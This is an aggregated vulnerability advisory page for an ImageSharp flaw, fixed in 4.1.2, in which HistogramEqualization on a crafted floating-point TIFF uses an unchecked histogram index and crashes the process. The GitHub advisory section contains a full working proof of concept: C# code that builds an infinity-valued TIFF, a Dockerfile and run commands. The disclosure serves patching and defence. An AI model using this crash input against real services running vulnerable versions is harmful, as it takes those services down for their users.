ImageSharp: HistogramEqualization uses an unvalidated luminance as an unchecked histogram index

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, decoding an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applying HistogramEqualization can produce a non-finite or out-of-range luminance in ColorNumerics.GetBT709Luminance. GrayscaleLevelsRowOperation.Invoke uses the resulting value as an unchecked histogram offset, causing an unsafe out-of-range access and process termination. Adaptive Histogram Equalization and AutoLevel are not affected by this report. This issue is fixed in version 4.1.2.

Source published

6 Oct 2026 17:47:17 UTC

Source modified

7 Oct 2026 17:07:48 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, decoding an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applying HistogramEqualization can produce a non-finite or out-of-range luminance in ColorNumerics.GetBT709Luminance. GrayscaleLevelsRowOperation.Invoke uses the resulting value as an unchecked histogram offset, causing an unsafe out-of-range access and process termination. Adaptive Histogram Equalization and AutoLevel are not affected by this report. This issue is fixed in version 4.1.2.

Source published

6 Oct 2026 18:16:52 UTC

Source modified

24 Oct 2026 01:34:56 UTC

Observed here

25 Oct 2026 04:17:41 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release. ### Details [`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram. The reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes `HistogramEqualization()`. Observed result: ```text mode=exploit tiffBytes=166 sample=Infinity decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1> Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ``` The control is identical except samples are `0.5`: ```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel=<0.5, 0.5, 0.5, 1> completed Docker exit status: 0 ``` When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing; static class Program { private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); } // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List<byte> ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd, 339, Short, 1, 3); // SampleFormat = IEEE float ifd.AddRange([0, 0, 0, 0]); file.AddRange(ifd); for (int i = 0; i < width; i++) { file.AddRange(BitConverter.GetBytes(sample)); } return file.ToArray(); } private static void Main(string[] args) { string mode = args.FirstOrDefault() ?? "exploit"; float sample = mode == "control" ? 0.5F : float.PositiveInfinity; byte[] tiff = BuildTiff(sample); Console.Error.WriteLine($"mode={mode} tiffBytes={tiff.Length} sample={sample}"); using Image<HalfVector4> image = Image.Load<HalfVector4>(tiff); Console.Error.WriteLine($"decoded={image.Width}x{image.Height} pixel={image[0, 0].ToScaledVector4()}"); image.Mutate(x => x.HistogramEqualization()); Console.Error.WriteLine("completed"); } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY j3p4.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \ && dotnet restore fetch.csproj --nologo \ && rm fetch.csproj \ && dotnet build j3p4.csproj -c Release --nologo -v quiet ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"] ``` Run: ```sh docker build -t imagesharp-j3p4-poc . docker run --rm imagesharp-j3p4-poc exploit docker run --rm imagesharp-j3p4-poc control ```

Source published

7 Oct 2026 20:24:23 UTC

Source modified

7 Oct 2026 20:30:05 UTC

Observed here

23 Oct 2026 16:01:25 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH